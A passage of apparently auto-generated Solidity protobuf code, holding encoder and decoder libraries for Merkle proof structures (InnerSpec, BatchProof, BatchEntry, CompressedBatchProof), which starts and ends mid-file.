* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_empty_child(
uint256 p,
bytes memory bs,
Data memory r,
uint[7] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs);
if (isNil(r)) {
counters[5] += 1;
} else {
r.empty_child = x;
if (counters[5] > 0) counters[5] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_hash(
uint256 p,
bytes memory bs,
Data memory r,
uint[7] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(int64 tmp, uint256 sz) = ProtoBufRuntime._decode_enum(p, bs);
PROOFS_PROTO_GLOBAL_ENUMS.HashOp x = PROOFS_PROTO_GLOBAL_ENUMS.decode_HashOp(tmp);
if (isNil(r)) {
counters[6] += 1;
} else {
r.hash = x;
if(counters[6] > 0) counters[6] -= 1;
}
return sz;
}
// Encoder section
/**
* @dev The main encoder for memory
* @param r The struct to be encoded
* @return The encoded byte array
*/
function encode(Data memory r) internal pure returns (bytes memory) {
bytes memory bs = new bytes(_estimate(r));
uint256 sz = _encode(r, 32, bs);
assembly {
mstore(bs, sz)
}
return bs;
}
// inner encoder
/**
* @dev The encoder for internal usage
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
uint256 offset = p;
uint256 pointer = p;
uint256 i;
if (r.child_order.length != 0) {
for(i = 0; i < r.child_order.length; i++) {
pointer += ProtoBufRuntime._encode_key(
1,
ProtoBufRuntime.WireType.Varint,
pointer,
bs)
;
pointer += ProtoBufRuntime._encode_int32(r.child_order[i], pointer, bs);
}
}
if (r.child_size != 0) {
pointer += ProtoBufRuntime._encode_key(
2,
ProtoBufRuntime.WireType.Varint,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_int32(r.child_size, pointer, bs);
}
if (r.min_prefix_length != 0) {
pointer += ProtoBufRuntime._encode_key(
3,
ProtoBufRuntime.WireType.Varint,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_int32(r.min_prefix_length, pointer, bs);
}
if (r.max_prefix_length != 0) {
pointer += ProtoBufRuntime._encode_key(
4,
ProtoBufRuntime.WireType.Varint,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_int32(r.max_prefix_length, pointer, bs);
}
if (r.empty_child.length != 0) {
pointer += ProtoBufRuntime._encode_key(
5,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_bytes(r.empty_child, pointer, bs);
}
if (uint(r.hash) != 0) {
pointer += ProtoBufRuntime._encode_key(
6,
ProtoBufRuntime.WireType.Varint,
pointer,
bs
);
int32 _enum_hash = PROOFS_PROTO_GLOBAL_ENUMS.encode_HashOp(r.hash);
pointer += ProtoBufRuntime._encode_enum(_enum_hash, pointer, bs);
}
return pointer - offset;
}
// nested encoder
/**
* @dev The encoder for inner struct
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode_nested(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
/**
* First encoded `r` into a temporary array, and encode the actual size used.
* Then copy the temporary array into `bs`.
*/
uint256 offset = p;
uint256 pointer = p;
bytes memory tmp = new bytes(_estimate(r));
uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp);
uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs);
uint256 size = _encode(r, 32, tmp);
pointer += ProtoBufRuntime._encode_varint(size, pointer, bs);
ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size);
pointer += size;
delete tmp;
return pointer - offset;
}
// estimator
/**
* @dev The estimator for a struct
* @param r The struct to be encoded
* @return The number of bytes encoded in estimation
*/
function _estimate(
Data memory r
) internal pure returns (uint) {
uint256 e;uint256 i;
for(i = 0; i < r.child_order.length; i++) {
e += 1 + ProtoBufRuntime._sz_int32(r.child_order[i]);
}
e += 1 + ProtoBufRuntime._sz_int32(r.child_size);
e += 1 + ProtoBufRuntime._sz_int32(r.min_prefix_length);
e += 1 + ProtoBufRuntime._sz_int32(r.max_prefix_length);
e += 1 + ProtoBufRuntime._sz_lendelim(r.empty_child.length);
e += 1 + ProtoBufRuntime._sz_enum(PROOFS_PROTO_GLOBAL_ENUMS.encode_HashOp(r.hash));
return e;
}
// empty checker
function _empty(
Data memory r
) internal pure returns (bool) {
if (r.child_order.length != 0) {
return false;
}
if (r.child_size != 0) {
return false;
}
if (r.min_prefix_length != 0) {
return false;
}
if (r.max_prefix_length != 0) {
return false;
}
if (r.empty_child.length != 0) {
return false;
}
if (uint(r.hash) != 0) {
return false;
}
return true;
}
//store function
/**
* @dev Store in-memory struct to storage
* @param input The in-memory struct
* @param output The in-storage struct
*/
function store(Data memory input, Data storage output) internal {
output.child_order = input.child_order;
output.child_size = input.child_size;
output.min_prefix_length = input.min_prefix_length;
output.max_prefix_length = input.max_prefix_length;
output.empty_child = input.empty_child;
output.hash = input.hash;
}
//array helpers for ChildOrder
/**
* @dev Add value to an array
* @param self The in-memory struct
* @param value The value to add
*/
function addChildOrder(Data memory self, int32 value) internal pure {
/**
* First resize the array. Then add the new element to the end.
*/
int32[] memory tmp = new int32[](self.child_order.length + 1);
for (uint256 i = 0; i < self.child_order.length; i++) {
tmp[i] = self.child_order[i];
}
tmp[self.child_order.length] = value;
self.child_order = tmp;
}
//utility functions
/**
* @dev Return an empty struct
* @return r The empty struct
*/
function nil() internal pure returns (Data memory r) {
assembly {
r := 0
}
}
/**
* @dev Test whether a struct is empty
* @param x The struct to be tested
* @return r True if it is empty
*/
function isNil(Data memory x) internal pure returns (bool r) {
assembly {
r := iszero(x)
}
}
}
//library InnerSpec
library BatchProof {
//struct definition
struct Data {
BatchEntry.Data[] entries;
}
// Decoder section
/**
* @dev The main decoder for memory
* @param bs The bytes array to be decoded
* @return The decoded struct
*/
function decode(bytes memory bs) internal pure returns (Data memory) {
(Data memory x, ) = _decode(32, bs, bs.length);
return x;
}
/**
* @dev The main decoder for storage
* @param self The in-storage struct
* @param bs The bytes array to be decoded
*/
function decode(Data storage self, bytes memory bs) internal {
(Data memory x, ) = _decode(32, bs, bs.length);
store(x, self);
}
// inner decoder
/**
* @dev The decoder for internal usage
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param sz The number of bytes expected
* @return The decoded struct
* @return The number of bytes decoded
*/
function _decode(uint256 p, bytes memory bs, uint256 sz)
internal
pure
returns (Data memory, uint)
{
Data memory r;
uint[2] memory counters;
uint256 fieldId;
ProtoBufRuntime.WireType wireType;
uint256 bytesRead;
uint256 offset = p;
uint256 pointer = p;
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_entries(pointer, bs, nil(), counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
pointer = offset;
r.entries = new BatchEntry.Data[](counters[1]);
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_entries(pointer, bs, r, counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
return (r, sz);
}
// field readers
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_entries(
uint256 p,
bytes memory bs,
Data memory r,
uint[2] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(BatchEntry.Data memory x, uint256 sz) = _decode_BatchEntry(p, bs);
if (isNil(r)) {
counters[1] += 1;
} else {
r.entries[r.entries.length - counters[1]] = x;
if (counters[1] > 0) counters[1] -= 1;
}
return sz;
}
// struct decoder
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_BatchEntry(uint256 p, bytes memory bs)
internal
pure
returns (BatchEntry.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(BatchEntry.Data memory r, ) = BatchEntry._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
// Encoder section
/**
* @dev The main encoder for memory
* @param r The struct to be encoded
* @return The encoded byte array
*/
function encode(Data memory r) internal pure returns (bytes memory) {
bytes memory bs = new bytes(_estimate(r));
uint256 sz = _encode(r, 32, bs);
assembly {
mstore(bs, sz)
}
return bs;
}
// inner encoder
/**
* @dev The encoder for internal usage
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
uint256 offset = p;
uint256 pointer = p;
uint256 i;
if (r.entries.length != 0) {
for(i = 0; i < r.entries.length; i++) {
pointer += ProtoBufRuntime._encode_key(
1,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs)
;
pointer += BatchEntry._encode_nested(r.entries[i], pointer, bs);
}
}
return pointer - offset;
}
// nested encoder
/**
* @dev The encoder for inner struct
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode_nested(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
/**
* First encoded `r` into a temporary array, and encode the actual size used.
* Then copy the temporary array into `bs`.
*/
uint256 offset = p;
uint256 pointer = p;
bytes memory tmp = new bytes(_estimate(r));
uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp);
uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs);
uint256 size = _encode(r, 32, tmp);
pointer += ProtoBufRuntime._encode_varint(size, pointer, bs);
ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size);
pointer += size;
delete tmp;
return pointer - offset;
}
// estimator
/**
* @dev The estimator for a struct
* @param r The struct to be encoded
* @return The number of bytes encoded in estimation
*/
function _estimate(
Data memory r
) internal pure returns (uint) {
uint256 e;uint256 i;
for(i = 0; i < r.entries.length; i++) {
e += 1 + ProtoBufRuntime._sz_lendelim(BatchEntry._estimate(r.entries[i]));
}
return e;
}
// empty checker
function _empty(
Data memory r
) internal pure returns (bool) {
if (r.entries.length != 0) {
return false;
}
return true;
}
//store function
/**
* @dev Store in-memory struct to storage
* @param input The in-memory struct
* @param output The in-storage struct
*/
function store(Data memory input, Data storage output) internal {
for(uint256 i1 = 0; i1 < input.entries.length; i1++) {
output.entries.push(input.entries[i1]);
}
}
//array helpers for Entries
/**
* @dev Add value to an array
* @param self The in-memory struct
* @param value The value to add
*/
function addEntries(Data memory self, BatchEntry.Data memory value) internal pure {
/**
* First resize the array. Then add the new element to the end.
*/
BatchEntry.Data[] memory tmp = new BatchEntry.Data[](self.entries.length + 1);
for (uint256 i = 0; i < self.entries.length; i++) {
tmp[i] = self.entries[i];
}
tmp[self.entries.length] = value;
self.entries = tmp;
}
//utility functions
/**
* @dev Return an empty struct
* @return r The empty struct
*/
function nil() internal pure returns (Data memory r) {
assembly {
r := 0
}
}
/**
* @dev Test whether a struct is empty
* @param x The struct to be tested
* @return r True if it is empty
*/
function isNil(Data memory x) internal pure returns (bool r) {
assembly {
r := iszero(x)
}
}
}
//library BatchProof
library BatchEntry {
//struct definition
struct Data {
ExistenceProof.Data exist;
NonExistenceProof.Data nonexist;
}
// Decoder section
/**
* @dev The main decoder for memory
* @param bs The bytes array to be decoded
* @return The decoded struct
*/
function decode(bytes memory bs) internal pure returns (Data memory) {
(Data memory x, ) = _decode(32, bs, bs.length);
return x;
}
/**
* @dev The main decoder for storage
* @param self The in-storage struct
* @param bs The bytes array to be decoded
*/
function decode(Data storage self, bytes memory bs) internal {
(Data memory x, ) = _decode(32, bs, bs.length);
store(x, self);
}
// inner decoder
/**
* @dev The decoder for internal usage
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param sz The number of bytes expected
* @return The decoded struct
* @return The number of bytes decoded
*/
function _decode(uint256 p, bytes memory bs, uint256 sz)
internal
pure
returns (Data memory, uint)
{
Data memory r;
uint[3] memory counters;
uint256 fieldId;
ProtoBufRuntime.WireType wireType;
uint256 bytesRead;
uint256 offset = p;
uint256 pointer = p;
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_exist(pointer, bs, r, counters);
}
else if (fieldId == 2) {
pointer += _read_nonexist(pointer, bs, r, counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
return (r, sz);
}
// field readers
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_exist(
uint256 p,
bytes memory bs,
Data memory r,
uint[3] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(ExistenceProof.Data memory x, uint256 sz) = _decode_ExistenceProof(p, bs);
if (isNil(r)) {
counters[1] += 1;
} else {
r.exist = x;
if (counters[1] > 0) counters[1] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_nonexist(
uint256 p,
bytes memory bs,
Data memory r,
uint[3] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(NonExistenceProof.Data memory x, uint256 sz) = _decode_NonExistenceProof(p, bs);
if (isNil(r)) {
counters[2] += 1;
} else {
r.nonexist = x;
if (counters[2] > 0) counters[2] -= 1;
}
return sz;
}
// struct decoder
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_ExistenceProof(uint256 p, bytes memory bs)
internal
pure
returns (ExistenceProof.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(ExistenceProof.Data memory r, ) = ExistenceProof._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_NonExistenceProof(uint256 p, bytes memory bs)
internal
pure
returns (NonExistenceProof.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(NonExistenceProof.Data memory r, ) = NonExistenceProof._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
// Encoder section
/**
* @dev The main encoder for memory
* @param r The struct to be encoded
* @return The encoded byte array
*/
function encode(Data memory r) internal pure returns (bytes memory) {
bytes memory bs = new bytes(_estimate(r));
uint256 sz = _encode(r, 32, bs);
assembly {
mstore(bs, sz)
}
return bs;
}
// inner encoder
/**
* @dev The encoder for internal usage
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
uint256 offset = p;
uint256 pointer = p;
pointer += ProtoBufRuntime._encode_key(
1,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ExistenceProof._encode_nested(r.exist, pointer, bs);
pointer += ProtoBufRuntime._encode_key(
2,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += NonExistenceProof._encode_nested(r.nonexist, pointer, bs);
return pointer - offset;
}
// nested encoder
/**
* @dev The encoder for inner struct
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode_nested(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
/**
* First encoded `r` into a temporary array, and encode the actual size used.
* Then copy the temporary array into `bs`.
*/
uint256 offset = p;
uint256 pointer = p;
bytes memory tmp = new bytes(_estimate(r));
uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp);
uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs);
uint256 size = _encode(r, 32, tmp);
pointer += ProtoBufRuntime._encode_varint(size, pointer, bs);
ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size);
pointer += size;
delete tmp;
return pointer - offset;
}
// estimator
/**
* @dev The estimator for a struct
* @param r The struct to be encoded
* @return The number of bytes encoded in estimation
*/
function _estimate(
Data memory r
) internal pure returns (uint) {
uint256 e;
e += 1 + ProtoBufRuntime._sz_lendelim(ExistenceProof._estimate(r.exist));
e += 1 + ProtoBufRuntime._sz_lendelim(NonExistenceProof._estimate(r.nonexist));
return e;
}
// empty checker
function _empty(
Data memory r
) internal pure returns (bool) {
return true;
}
//store function
/**
* @dev Store in-memory struct to storage
* @param input The in-memory struct
* @param output The in-storage struct
*/
function store(Data memory input, Data storage output) internal {
ExistenceProof.store(input.exist, output.exist);
NonExistenceProof.store(input.nonexist, output.nonexist);
}
//utility functions
/**
* @dev Return an empty struct
* @return r The empty struct
*/
function nil() internal pure returns (Data memory r) {
assembly {
r := 0
}
}
/**
* @dev Test whether a struct is empty
* @param x The struct to be tested
* @return r True if it is empty
*/
function isNil(Data memory x) internal pure returns (bool r) {
assembly {
r := iszero(x)
}
}
}
//library BatchEntry
library CompressedBatchProof {
//struct definition
struct Data {
CompressedBatchEntry.Data[] entries;
InnerOp.Data[] lookup_inners;
}
// Decoder section
/**
* @dev The main decoder for memory
* @param bs The bytes array to be decoded
* @return The decoded struct
*/
function decode(bytes memory bs) internal pure returns (Data memory) {
(Data memory x, ) = _decode(32, bs, bs.length);
return x;
}
/**
* @dev The main decoder for storage
* @param self The in-storage struct
* @param bs The bytes array to be decoded
*/
function decode(Data storage self, bytes memory bs) internal {
(Data memory x, ) = _decode(32, bs, bs.length);
store(x, self);
}
// inner decoder
/**
* @dev The decoder for internal usage
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param sz The number of bytes expected
* @return The decoded struct
* @return The number of bytes decoded
*/
function _decode(uint256 p, bytes memory bs, uint256 sz)
internal
pure
returns (Data memory, uint)
{
Data memory r;
uint[3] memory counters;
uint256 fieldId;
ProtoBufRuntime.WireType wireType;
uint256 bytesRead;
uint256 offset = p;
uint256 pointer = p;
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_entries(pointer, bs, nil(), counters);
}
else if (fieldId == 2) {
pointer += _read_lookup_inners(pointer, bs, nil(), counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
pointer = offset;
r.entries = new CompressedBatchEntry.Data[](counters[1]);
r.lookup_inners = new InnerOp.Data[](counters[2]);
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_entries(pointer, bs, r, counters);
}
else if (fieldId == 2) {
pointer += _read_lookup_inners(pointer, bs, r, counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
return (r, sz);
}
// field readers
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_entries(
uint256 p,
bytes memory bs,
Data memory r,
uint[3] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(CompressedBatchEntry.Data memory x, uint256 sz) = _decode_CompressedBatchEntry(p, bs);
if (isNil(r)) {
counters[1] += 1;
} else {
r.entries[r.entries.length - counters[1]] = x;
if (counters[1] > 0) counters[1] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_lookup_inners(
uint256 p,
bytes memory bs,
Data memory r,
uint[3] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(InnerOp.Data memory x, uint256 sz) = _decode_InnerOp(p, bs);
if (isNil(r)) {
counters[2] += 1;
} else {
r.lookup_inners[r.lookup_inners.length - counters[2]] = x;
if (counters[2] > 0) counters[2] -= 1;
}
return sz;
}
// struct decoder
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_CompressedBatchEntry(uint256 p, bytes memory bs)
internal
pure
returns (CompressedBatchEntry.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(CompressedBatchEntry.Data memory r, ) = CompressedBatchEntry._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_InnerOp(uint256 p, bytes memory bs)
internal
pure
returns (InnerOp.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(InnerOp.Data memory r, ) = InnerOp._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
// Encoder section
/**
* @dev The main encoder for memory
* @param r The struct to be encoded
* @return The encoded byte array
*/
function encode(Data memory r) internal pure returns (bytes memory) {
bytes memory bs = new bytes(_estimate(r));
uint256 sz = _encode(r, 32, bs);
assembly {
mstore(bs, sz)
}
return bs;
}
// inner encoder
/**
* @dev The encoder for internal usage
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
uint256 offset = p;
uint256 pointer = p;
uint256 i;
if (r.entries.length != 0) {
for(i = 0; i < r.entries.length; i++) {
pointer += ProtoBufRuntime._encode_key(
1,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs)
;
pointer += CompressedBatchEntry._encode_nested(r.entries[i], pointer, bs);
}
}
if (r.lookup_inners.length != 0) {
for(i = 0; i < r.lookup_inners.length; i++) {
pointer += ProtoBufRuntime._encode_key(
2,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs)
;
pointer += InnerOp._encode_nested(r.lookup_inners[i], pointer, bs);
}
}
return pointer - offset;
}
// nested encoder
/**
* @dev The encoder for inner struct
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode_nested(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
/**
* First encoded `r` into a temporary array, and encode the actual size used.
* Then copy the temporary array into `bs`.
*/
uint256 offset = p;
uint256 pointer = p;
bytes memory tmp = new bytes(_estimate(r));
uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp);
uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs);
uint256 size = _encode(r, 32, tmp);
pointer += ProtoBufRuntime._encode_varint(size, pointer, bs);
ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size);
pointer += size;
delete tmp;
return pointer - offset;
}
// estimator
/**
* @dev The estimator for a struct
* @param r The struct to be encoded
* @return The number of bytes encoded in estimation
*/
function _estimate(
Data memory r
) internal pure returns (uint) {
uint256 e;uint256 i;
for(i = 0; i < r.entries.length; i++) {
e += 1 + ProtoBufRuntime._sz_lendelim(CompressedBatchEntry._estimate(r.entries[i]));
}
for(i = 0; i < r.lookup_inners.length; i++) {
e += 1 + ProtoBufRuntime._sz_lendelim(InnerOp._estimate(r.lookup_inners[i]));
}
return e;
}
// empty checker
function _empty(
Data memory r
) internal pure returns (bool) {
if (r.entries.length != 0) {
return false;
}
if (r.lookup_inners.length != 0) {
return false;
}
return true;
}
//store function
/**
* @dev Store in-memory struct to storage
* @param input The in-memory struct
* @param output The in-storage struct
*/
function store(Data memory input, Data storage output) internal {
for(uint256 i1 = 0; i1 < input.entries.length; i1++) {
output.entries.push(input.entries[i1]);
}
for(uint256 i2 = 0; i2 < input.lookup_inners.length; i2++) {
output.lookup_inners.push(input.lookup_inners[i2]);
}
}
//array helpers for Entries
/**
* @dev Add value to an array
* @param self The in-memory struct
* @param value The value to add
*/
function addEntries(Data memory self, CompressedBatchEntry.Data memory value) internal pure {
/**
* First resize the array. Then add the new element to the end.
*/
CompressedBatchEntry.Data[] memory tmp = new CompressedBatchEntry.Data[](self.entries.length + 1);
for (uint256 i = 0; i < self.entries.length; i++) {
tmp[i] = self.entries[i];
}
tmp[self.entries.length] = value;
self.entries = tmp;
}
//array helpers for LookupInners
/**
* @dev Add value to an array
* @param self The in-memory struct
* @param value The value to add
*/
function addLookupInners(Data memory self, InnerOp.Data memory value) internal pure {
/**
* First resize the array. Then add the new element to the end.
*/
InnerOp.Data[] memory tmp = new InnerOp.Data[](self.lookup_inners.length + 1);
for (uint256 i = 0; i < self.lookup_inners.length; i++) {
tmp[i] = self.lookup_inners[i];
}
tmp[self.lookup_inners.length] = value;
self.lookup_inners = tmp;
}
//utility functions
/**
* @dev Return an empty struct
* @return r The empty struct
*/
function nil() internal pure returns (Data memory r) {
assembly {
r := 0
}
}
/**
* @dev Test whether a struct is empty
* @param x The struct to be tested
* @return r True if it is empty
*/
function isNil(Data memory x) internal pure returns (bool r) {
assembly {
r := iszero(x)
}
}
}
//library CompressedBatchProof
library CompressedBatchEntry {
//struct definition
struct Data {
CompressedExistenceProof.Data exist;
CompressedNonExistenceProof.Data nonexist;
}
// Decoder section
/**
* @dev The main decoder for memory
* @param bs The bytes array to be decoded
* @return The decoded struct
*/
function decode(bytes memory bs) internal pure returns (Data memory) {
(Data memory x, ) = _decode(32, bs, bs.length);
return x;
}
/**
* @dev The main decoder for storage
* @param self The in-storage struct
* @param bs The bytes array to be decoded
*/
function decode(Data storage self, bytes memory bs) internal {
